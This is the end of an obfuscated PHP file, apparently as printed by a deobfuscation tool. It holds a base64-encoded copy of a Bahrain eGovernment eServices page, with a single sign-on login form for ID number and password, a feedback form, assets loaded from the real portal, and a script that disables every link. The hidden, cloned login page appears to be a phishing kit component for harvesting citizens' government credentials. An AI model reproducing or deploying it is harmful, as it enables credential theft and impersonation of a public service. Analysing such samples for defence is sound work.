JlIi4KCQkJPC9wPgoJCTwvZGl2PgoJCTxkaXYgY2xhc3M9Im1vZGFsLWZvb3RlciIgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyIj4KCQkJPGEgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBpZD0id2hhdHN1cC1tb2RlbC1zdWJzY3JpYmUtbGluayIgY2xhc3M9ImJ1dHRvbl9zdHlsZSIgaHJlZj0iaHR0cHM6Ly9hcGkud2hhdHNhcHAuY29tL3NlbmQ/cGhvbmU9OTczMzIxODgyODgmYW1wO3RleHQ9U3Vic2NyaWJlIj4KCQkJCVN1YnNjcmliZQoJCQk8L2E+CgkJCTxhIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IiBpZD0id2hhdHN1cC1tb2RlbC1jbG9zZS1saW5rIiBjbGFzcz0iYnV0dG9uX3N0eWxlIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7Ij4KCQkJCUNsb3NlCgkJCTwvYT4JCQkKCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4gCjxkaXYgaWQ9ImVrZXlNb2RlbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0icm93LWZsdWlkIj4KCTxkaXYgY2xhc3M9Im1vZGFsLWJhY2tkcm9wIGluIiBkYXRhLWJhY2tkcm9wPSJzdGF0aWMiIGRhdGEta2V5Ym9hcmQ9ImZhbHNlIj4KCTwvZGl2PgoJPGRpdiBjbGFzcz0ibW9kYWwgZmFkZSBpbiIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtbGFiZWxsZWRieT0iZUtleVBvcHVwTW9kZWwiIGFyaWEtaGlkZGVuPSJmYWxzZSIgc3R5bGU9Ii8qbGVmdDogNDYlOyovIj4KCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5IiBzdHlsZT0ibWF4LWhlaWdodDo0NTBweCI+CgkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQk8ZGl2IGNsYXNzPSJzcGFuMTIiPgoJCQkJCTxkaXYgY2xhc3M9ImxvZ2luX2NvbnRhaW5lciBhbGlnbi1jZW50ZXIiPgoJCQkJCQk8ZGl2IGNsYXNzPSJtYWluLWhlYWRpbmdzIHVzZXJfaWNvbiBtYXItYnRtLTIwIj4mbmJzcDs8L2Rpdj4KCQkJCQkJPHAgaWQ9ImVLZXlQb3B1cE1vZGVsIj5Zb3VyIFNpbmdsZSBTaWduIE9uIHRvIGVTZXJ2aWNlczwvcD4KCQkJCQkJCgkJCQkKCQkJCQkJPGRpdiBjbGFzcz0ibWFyLXRvcC0yNSI+CgkJCQkJCQk8c3BhbiBjbGFzcz0iaWNvbl9zcGFjZSI+CgkJCQkJCQk8aW1nIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgYWx0PSJ1c2VybmFtZSIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy91c2VybmFtZV9pY29uLnN2ZyI+CgkJCQkJCQk8L3NwYW4+CgkJCQkJCQk8bGFiZWwgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIGZvcj0iZWtleUxvZ2luSWROdW1iZXIiPklEIE51bWJlcjwvbGFiZWw+CgkJCQkJCQk8aW5wdXQgaWQ9ImVrZXlMb2dpbklkTnVtYmVyIiBuYW1lPSJpZCBudW1iZXIiIHR5cGU9InRlbCIgbWF4bGVuZ3RoPSIxNSIgdGl0bGU9IklEIE51bWJlciIgY2xhc3M9InBlcnNvbmFsTnVtYmVyU2lnSW4gY3VzdG9tUGFzc3dvcmRJbnB1dCBudW1iZXJPbmx5ViIgYXV0b2NvbXBsZXRlPSJvZmYiIHBsYWNlaG9sZGVyPSJJRCBOdW1iZXIiPgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCgkJCQkJCQk8YnI+CgkJCQkJCQk8c3BhbiBjbGFzcz0iaWNvbl9zcGFjZSI+CgkJCQkJCQk8aW1nIHdpZHRoPSIxNiIgaGVpZ2h0PSIxOCIgYWx0PSJwYXNzd29yZCIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy9wYXNzd29yZF9pY29uLnN2ZyI+CgkJCQkJCQk8L3NwYW4+CgkJCQkJCQk8bGFiZWwgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIGZvcj0iZWtleUxvZ2luUGFzc3dvcmQiPlBhc3N3b3JkPC9sYWJlbD4KCQkJCQkJCTxpbnB1dCB0eXBlPSJwYXNzd29yZCIgaWQ9ImVrZXlMb2dpblBhc3N3b3JkIiBuYW1lPSJQYXNzd29yZCB0aXRsZT0iIGVudGVyPSIiIHBhc3N3b3JkIj0iIiBjbGFzcz0icGFzc3dvcmRTaWduSW4gY3VzdG9tUGFzc3dvcmRJbnB1dCIgYXV0b2NvbXBsZXRlPSJvZmYiIHBsYWNlaG9sZGVyPSJQYXNzd29yZCI+CgkJCQkJCQk8ZGl2IGNsYXNzPSJlcnJvci1ibG9jayIgc3R5bGU9ImZsb2F0Om5vbmU7Ij4KCQkJCQkJCQk8c3BhbiBpZD0iZWtleUxvZ2luRXJyb3JNZXNzYWdlIj48L3NwYW4+CgkJCQkJCQk8L2Rpdj4KCQkJCQkJCTxicj4KCQkJCQkJPC9kaXY+CgkJCQkJCTxkaXYgY2xhc3M9ImxpbmtfY29udGFpbmVyIj4KCQkJCQkJPCEtLSBGb3JnZXQgUGFzc3dvcmQgLS0+CgkJCQkJCQk8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iL3dwcy9wb3J0YWwvRm9yZ290UGFzc3dvcmRfZW4iPgoJCQkJCQkJCUZvcmdvdCBQYXNzd29yZD8KCQkJCQkJCTwvYT4KCQkJCQkJCTwhLS0gUmVnaXN0ZXIgb3IgU2lnblVwIGZvciBuZXcgYWNjb3VudCAtLT4KCQkJCQkJCTxhIHRhcmdldD0iX2JsYW5rIiBocmVmPSIvd3BzL3BvcnRhbC9TaWduVXBfZW4iPgoJCQkJCQkJCURvbid0IGhhdmUgYW4gYWNjb3VudD8gUmVnaXN0ZXIgbm93ICEKCQkJCQkJCTwvYT4JCQkJCQkJCgkJCQkJCQoJCQkJCQk8L2Rpdj4JCQkJCQkKCQkJCQkJPGRpdiBjbGFzcz0iYnV0dG9uX2NvbnRhaW5lciI+CgkJCQkJCQk8aW5wdXQgb25jbGljaz0icmV0dXJuIHh0X2NsaWNrKHRoaXMsJ0MnLCdsZXZlbDJfbnVtYmVyJywnUG9ydGFsIEF1dGhlbnRpY2F0aW9uIOKAkyBDbGljayDigJMgTG9naW5uJywnTicpOyIgaWQ9ImVrZXlsb2dpblN1Ym1pdCIgbmFtZT0iTG9naW4iIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIiBjbGFzcz0iYnV0dG9uX3N0eWxlIHN1Ym1pdFNpZ25JbiI+CgkJCQkJCQk8YnV0dG9uIGlkPSJla2V5TG9naW5DYW5jZWwiIGNsYXNzPSJidXR0b25fc3R5bGUiPkNhbmNlbDwvYnV0dG9uPgkJCQkJCQkKCQkJCQkJPC9kaXY+CgkJCQkJPC9kaXY+CgkJCQk8L2Rpdj4KCQkJPC9kaXY+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+Cgo8ZGl2IGlkPSJyYXRpbmdNb2RlbCIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0icm93LWZsdWlkIj4KCTxkaXYgY2xhc3M9Im1vZGFsLWJhY2tkcm9wIGluIiBkYXRhLWJhY2tkcm9wPSJzdGF0aWMiIGRhdGEta2V5Ym9hcmQ9ImZhbHNlIj4KCTwvZGl2PgoJPGRpdiBjbGFzcz0ibW9kYWwgZmFkZSBpbiIgdGFiaW5kZXg9Ii0xIiByb2xlPSJkaWFsb2ciIGFyaWEtbGFiZWxsZWRieT0icmF0aW5nUG9wdXBNb2RhbCIgYXJpYS1oaWRkZW49ImZhbHNlIj4KCQk8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgoJCQk8YSBjbGFzcz0ibWluaW1pemVNb2RhbCI+CgkJCQk8aSBjbGFzcz0ibWF0ZXJpYWwtaWNvbnMiPgoJCQkJCW1pbmltaXplCgkJCQk8L2k+CgkJCTwvYT4KCQkJPGg0IGlkPSJyYXRpbmdQb3B1cE1vZGFsIiBzdHlsZT0iY29sb3I6IzEyNTlmZjsiPlJhdGUgdGhpcyBzZXJ2aWNlPC9oND4JCQoJCTwvZGl2PgkKCQk8ZGl2IGNsYXNzPSJtb2RhbC1ib2R5Ij4KCQkJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCTxkaXYgY2xhc3M9InNwYW4xMiI+CgkJCQkJPGRpdiBjbGFzcz0icmF0aW5nX2NvbnRhaW5lciBhbGlnbi1jZW50ZXIiPgoJCQkJCQoJCQkJCQk8aSBjbGFzcz0ibWF0ZXJpYWwtaWNvbnMiIHN0eWxlPSJmb250LXNpemU6IDcwcHg7ZGlzcGxheTogbm9uZTsiPmNoZWNrX2NpcmNsZV9vdXRsaW5lPC9pPgoJCQkJCQoJCQkJCQk8cD5Ib3cgc2F0aXNmaWVkIGFyZSB5b3Ugd2l0aCB0aGlzIHNlcnZpY2U/PC9wPgoJCQkJCQkKCQkJCQkJPGRpdiBjbGFzcz0icm93LWZsdWlkIG10LTMiPgoJCQkJCQkJPHVsIGlkPSJzZXJ2aWNlUmF0aW5nRmFjZXMiPgoJCQkJCQkJCTxsaT4KCQkJCQkJCQkJPGltZyBjbGFzcz0iUmF0aW5nSW1nIiBpZD0iSW1nU21pbGV5IiBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgYWx0PSJTYXRpc2ZpZWQiIHRpdGxlPSJTYXRpc2ZpZWQiIHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9pbWFnZXMvc21pbGV5X2ZhY2UucG5nIj4KCQkJCQkJCQk8L2xpPgoJCQkJCQkJCTxsaT4KCQkJCQkJCQkJPGltZyBjbGFzcz0iUmF0aW5nSW1nIiBpZD0iSW1nTm9ybWFsIiBzdHlsZT0iY3Vyc29yOiBwb2ludGVyOyIgYWx0PSJOZXV0cmFsIiB0aXRsZT0iTmV1dHJhbCIgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2ltYWdlcy9ub3JtYWxfZmFjZS5wbmciPgoJCQkJCQkJCTwvbGk+CgkJCQkJCQkJPGxpPgoJCQkJCQkJCQk8aW1nIGNsYXNzPSJSYXRpbmdJbWciIGlkPSJJbWdBbmdyeSIgc3R5bGU9ImN1cnNvcjogcG9pbnRlcjsiIGFsdD0iRGlzc2F0aXNmaWVkIiB0aXRsZT0iRGlzc2F0aXNmaWVkIiBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvaW1hZ2VzL2FuZ3J5X2ZhY2UucG5nIj4KCQkJCQkJCQk8L2xpPgoJCQkJCQkJPC91bD4KCQkJCQkJPC9kaXY+CgkJCQkJCTxwIGlkPSJyYXRpbmdNZXNzYWdlIiBzdHlsZT0iY29sb3I6ICNjODAwMDk7cGFkZGluZyA6NXB4Ij48L3A+CgkJCQkJCTxkaXYgaWQ9InJhdGluZ0Zvcm0iIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQkJCQk8ZGl2IGNsYXNzPSJyb3ctZmx1aWQgbXQtMiI+CgkJCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIGZvcm0tcm93IiBpZD0icmF0aW5nSW5wdXRDb21tZW50Ij4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb2wxIj4KCQkJCQkJCQkJCTxsYWJlbCBmb3I9ImZlZWRiYWNrVGV4dEFyZWEiPjxlbT4qPC9lbT5Db21tZW50PC9sYWJlbD4KCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCTxkaXYgY2xhc3M9ImZvcm0tY29sMiI+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wtYmxvY2sgYmxvY2stZnVsbCI+CgkJCQkJCQkJCQkJPHRleHRhcmVhIGlkPSJmZWVkYmFja1RleHRBcmVhIiBtYXhsZW5ndGg9IjIwMCIgb25rZXl1cD0idGV4dGFyZWFDb3VudGVyKHRoaXMsMjAwKTsiPjwvdGV4dGFyZWE+ICAKCQkJCQkJCQkJCQk8YnI+CgkJCQkJCQkJCQkJICA8ZGl2IGNsYXNzPSJ0ZXh0Q291bnRlciI+CgkJCQkJCQkJCQkJCTxzcGFuPjIwMDwvc3Bhbj4KCQkJCQkJCQkJCQkJPHNwYW4+Y2hhcmFjdGVycyBsZWZ0PC9zcGFuPgoJCQkJCQkJCQkJCSAgPC9kaXY+ICAgICAgICAgIAoJCQkJCQkJCQkJPC9kaXY+CQkJCQkJCQkJCQoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZXJyb3ItYmxvY2siIHJvbGU9ImFsZXJ0Ij4KCQkJCQkJCQkJCQk8c3Bhbj48L3NwYW4+CgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJPC9kaXY+CgkJCQkJCQk8L2Rpdj4KCQkJCQkJCTxkaXYgY2xhc3M9InJvdy1mbHVpZCI+CgkJCQkJCQkJPGRpdiBjbGFzcz0ic3BhbjEyIGZvcm0tcm93IiBpZD0icmF0aW5nSW5wdXRNb2JpbGUiPgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbDEiPgoJCQkJCQkJCQkJPGxhYmVsPk1vYmlsZTwvbGFiZWw+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbDIiPgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb250cm9sLWJsb2NrIGJsb2NrLWZ1bGwiPgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJ0ZWwiIG1pbmxlbmd0aD0iOCIgdmFsdWU9IiIgdGl0bGU9Ik1vYmlsZSIgYXV0b2NvbXBsZXRlPSJvZmYiPgkgICAgICAgICAgICAgIAoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCQk8ZGl2IGNsYXNzPSJlcnJvci1ibG9jayIgcm9sZT0iYWxlcnQiPgoJCQkJCQkJCQkJCTxzcGFuPjwvc3Bhbj4KCQkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCTwvZGl2PgoJCQkJCQkJPGRpdiBjbGFzcz0icm93LWZsdWlkIj4KCQkJCQkJCQk8ZGl2IGNsYXNzPSJzcGFuMTIgZm9ybS1yb3ciIGlkPSJyYXRpbmdJbnB1dEVtYWlsIj4KCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb2wxIj4KCQkJCQkJCQkJCTxsYWJlbD5FbWFpbDwvbGFiZWw+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCQk8ZGl2IGNsYXNzPSJmb3JtLWNvbDIiPgoJCQkJCQkJCQkJPGRpdiBjbGFzcz0iZm9ybS1jb250cm9sLWJsb2NrIGJsb2NrLWZ1bGwiPgoJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJlbWFpbCIgdmFsdWU9IiIgdGl0bGU9IkVtYWlsIiBhdXRvY29tcGxldGU9Im9mZiI+CSAgICAgICAgICAgICAgCgkJCQkJCQkJCQk8L2Rpdj4KCQkJCQkJCQkJCTxkaXYgY2xhc3M9ImVycm9yLWJsb2NrIiByb2xlPSJhbGVydCI+CgkJCQkJCQkJCQkJPHNwYW4+PC9zcGFuPgoJCQkJCQkJCQkJPC9kaXY+CgkJCQkJCQkJCTwvZGl2PgoJCQkJCQkJCTwvZGl2PgoJCQkJCQkJPC9kaXY+CgkJCQkJCTwvZGl2PgoJCQkJCQk8ZGl2IGNsYXNzPSJidXR0b25zIG10LTMiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+CgkJCQkJCQk8YSBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBpZD0icmF0aW5nTW9kZWxDbGVhciIgY2xhc3M9ImJ1dHRvbl9zdHlsZSI+Q2xlYXI8L2E+CQkJCQkJCQkJCQkKCQkJCQkJCTxhIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIGlkPSJyYXRpbmdNb2RlbFN1Ym1pdCIgY2xhc3M9ImJ1dHRvbl9zdHlsZSI+U3VibWl0PC9hPgoJCQkJCQk8L2Rpdj4KCQkJCQk8L2Rpdj4KCQkJCTwvZGl2PgoJCQk8L2Rpdj4KCQk8L2Rpdj4KCTwvZGl2Pgo8L2Rpdj4KCjwhLS0gQ3JvcCBNb2RlbCAtLT4KPGRpdiBpZD0iY3JvcHBlck1vZGVsIiBzdHlsZT0iZGlzcGxheTogbm9uZTsiIGNsYXNzPSJyb3ctZmx1aWQiPgoJPGRpdiBjbGFzcz0ibW9kYWwtYmFja2Ryb3AgaW4iIGRhdGEtYmFja2Ryb3A9InN0YXRpYyIgZGF0YS1rZXlib2FyZD0iZmFsc2UiPgoJPC9kaXY+Cgk8ZGl2IGNsYXNzPSJtb2RhbCBmYWRlIGluIiB0YWJpbmRleD0iLTEiIHJvbGU9ImRpYWxvZyIgYXJpYS1sYWJlbGxlZGJ5PSJjcm9wcGVyUG9wdXBNb2RhbCIgYXJpYS1oaWRkZW49ImZhbHNlIj4KCQk8ZGl2IGNsYXNzPSJtb2RhbC1oZWFkZXIiPgoJCQk8YnV0dG9uIHR5cGU9ImJ1dHRvbiIgY2xhc3M9ImNsb3NlIGNyb3BwZXItY2FuY2VsLWFjdGlvbiIgZGF0YS1kaXNtaXNzPSJtb2RhbCIgYXJpYS1oaWRkZW49InRydWUiPsOXPC9idXR0b24+CgkJCTxoNCBpZD0iY3JvcHBlclBvcHVwTW9kYWwiPgoJCQkJQXR0YWNoIFBob3RvCgkJCTwvaDQ+CgkJPC9kaXY+CgkJPGRpdiBjbGFzcz0ibW9kYWwtYm9keSI+CgkJPC9kaXY+Cgk8L2Rpdj4KPC9kaXY+CjwhLS0gQ3JvcCBNb2RlbCAtIEVORCAtLT4KCgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9qcXVlcnkubW9iaWxlLmN1c3RvbS5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2pzL2Jvb3RzdHJhcC5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+IAo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9lYXN5UmVzcG9uc2l2ZVRhYnMtc3ZnZWV6eS1zZXJ2aWNlLW1lcmdlZC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KCgoJPHNjcmlwdCBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvanMvYm9vdHN0cmFwLWRhdGVwaWNrZXJfZW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CgoKPHNjcmlwdCBzcmM9Imh0dHBzOi8vc2VydmljZXMuYmFocmFpbi5iaC93cHMvY29udGVudGhhbmRsZXIvIXV0L3AvZGlnZXN0IVZqQnVlUWNEZzladEVSdWMxdjQtencvZGF2L2ZzLXR5cGUxL3RoZW1lcy9Qb3J0YWxQbHVzU2VydmljZXMvanMvYm9vdHN0cmFwLWRhdGV0aW1lcGlja2VyLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9wcmludGVyLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0Pgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9qcXVlcnkuZm9ybS5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CjxzY3JpcHQgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2pzL2pxdWVyeS5tYXNrZWRpbnB1dC5taW4uanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+Cgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9ib290c3RyYXAtdG9vbHRpcC5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4gCjxzY3JpcHQgc3JjPSJodHRwczovL3NlcnZpY2VzLmJhaHJhaW4uYmgvd3BzL2NvbnRlbnRoYW5kbGVyLyF1dC9wL2RpZ2VzdCFWakJ1ZVFjRGc5WnRFUnVjMXY0LXp3L2Rhdi9mcy10eXBlMS90aGVtZXMvUG9ydGFsUGx1c1NlcnZpY2VzL2pzL2Jvb3RzdHJhcC1wb3BvdmVyLmpzIiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPjwvc2NyaXB0PgoKCgk8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9qcXVlcnktZXUtY29va2llLWxhdy1wb3B1cF9lbi5qcyIgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij48L3NjcmlwdD4KCgo8c2NyaXB0IHNyYz0iaHR0cHM6Ly9zZXJ2aWNlcy5iYWhyYWluLmJoL3dwcy9jb250ZW50aGFuZGxlci8hdXQvcC9kaWdlc3QhVmpCdWVRY0RnOVp0RVJ1YzF2NC16dy9kYXYvZnMtdHlwZTEvdGhlbWVzL1BvcnRhbFBsdXNTZXJ2aWNlcy9qcy9zZWxlY3QyLmZ1bGwuanMiIHR5cGU9InRleHQvamF2YXNjcmlwdCI+PC9zY3JpcHQ+CgoKCgo8IS0tIEVuZCBvZiBMaXZlQ2hhdCBjb2RlIC0tPjwhLS0gVXNlcndheSBBY2Nlc3NpYmlsaXR5IHdpZGdldCAtLT48IS0tIEVuZCBwYWdlIGZvb3RlciAtLT4KCTwhLS0gVGhpcyBpcyByZXNwb25zaWJsZSBmb3IgYm9vdHN0cmFwcGluZyB0aGUgY29uZmlndXJhdGlvbiBmb3IgdGhlIGphdmFzY3JpcHQgZnJhbWV3b3JrLiAKCQlUaGlzIGlzIGxvY2F0ZWQgaGVyZSBpbnN0ZWFkIG9mIHRoZSBoZWFkIHNlY3Rpb24gdG8gaW1wcm92ZSBjbGllbnQgcGVyZm9ybWFuY2UuIC0tPgoKCTxkaXYgaWQ9ImxheW91dENvbnRhaW5lcnMiIGNsYXNzPSJ3cHRoZW1lTGF5b3V0Q29udGFpbmVycyB3cHRoZW1lTGF5b3V0Q29udGFpbmVyc0hpZGRlbiIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7Ij48L2Rpdj4JCQogICAgPHNjcmlwdD4KICAgIC8vIEdldCBhbGwgYW5jaG9yIHRhZ3MKICAgIHZhciBhbmNob3JUYWdzID0gZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImEiKTsKCiAgICAvLyBMb29wIHRocm91Z2ggZWFjaCBhbmNob3IgdGFnIGFuZCBtb2RpZnkgdGhlIGhyZWYgYXR0cmlidXRlCiAgICBmb3IgKHZhciBpID0gMDsgaSA8IGFuY2hvclRhZ3MubGVuZ3RoOyBpKyspIHsKICAgICAgICBhbmNob3JUYWdzW2ldLnNldEF0dHJpYnV0ZSgiaHJlZiIsICIjIik7CiAgICB9CiAgICA8L3NjcmlwdD4KCjwvYm9keT48Z3JhbW1hcmx5LWRlc2t0b3AtaW50ZWdyYXRpb24gZGF0YS1ncmFtbWFybHktc2hhZG93LXJvb3Q9InRydWUiPjwvZ3JhbW1hcmx5LWRlc2t0b3AtaW50ZWdyYXRpb24+PC9odG0=')); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 0217c3596571a9d5e50af4e7d3f99aa4 |
Eval Count | 1 |
Decode Time | 181 ms |